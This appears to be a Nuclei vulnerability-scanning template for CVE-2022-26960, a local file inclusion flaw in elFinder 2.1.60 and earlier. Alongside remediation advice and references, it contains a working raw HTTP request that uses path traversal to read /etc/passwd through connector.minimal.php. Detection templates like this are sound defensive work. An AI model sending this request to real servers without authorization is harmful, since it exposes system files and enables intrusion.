47 lines
1.7 KiB
YAML
47 lines
1.7 KiB
YAML
id: CVE-2022-26960
|
|
|
|
info:
|
|
name: elFinder <=2.1.60 - Local File Inclusion
|
|
author: pikpikcu
|
|
severity: critical
|
|
description: |
|
|
elFinder through 2.1.60 is affected by local file inclusion via connector.minimal.php. This allows unauthenticated remote attackers to read, write, and browse files outside the configured document root. This is due to improper handling of absolute file paths.
|
|
remediation: |
|
|
Upgrade elFinder to version 2.1.61 or later to mitigate this vulnerability.
|
|
reference:
|
|
- https://www.synacktiv.com/publications/elfinder-the-story-of-a-repwning.html
|
|
- https://github.com/Studio-42/elFinder/commit/3b758495538a448ac8830ee3559e7fb2c260c6db
|
|
- https://www.synacktiv.com/publications.html
|
|
- https://nvd.nist.gov/vuln/detail/CVE-2022-26960
|
|
classification:
|
|
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N
|
|
cvss-score: 9.1
|
|
cve-id: CVE-2022-26960
|
|
cwe-id: CWE-22
|
|
epss-score: 0.88417
|
|
epss-percentile: 0.98391
|
|
cpe: cpe:2.3:a:std42:elfinder:*:*:*:*:*:*:*:*
|
|
metadata:
|
|
verified: true
|
|
max-request: 1
|
|
vendor: std42
|
|
product: elfinder
|
|
tags: cve,cve2022,lfi,elfinder
|
|
|
|
http:
|
|
- raw:
|
|
- |
|
|
GET /elfinder/php/connector.minimal.php?cmd=file&target=l1_<@base64>/var/www/html/elfinder/files//..//..//..//..//..//../etc/passwd<@/base64>&download=1 HTTP/1.1
|
|
Host: {{Hostname}}
|
|
Content-Type: application/x-www-form-urlencoded
|
|
|
|
matchers-condition: and
|
|
matchers:
|
|
- type: regex
|
|
regex:
|
|
- "root:.*:0:0:"
|
|
|
|
- type: status
|
|
status:
|
|
- 200
|
|
# digest: 490a0046304402203cbe417ae43d414a3f058325b6ff0a9a1567010a614bef336ac44db3c98a831a022051773b4cc34a0ea2831bb1bbd82a16c7acc5a474ef770570297f0e26d3dbacaf:922c64590222798bb761d5b6d8e72950 |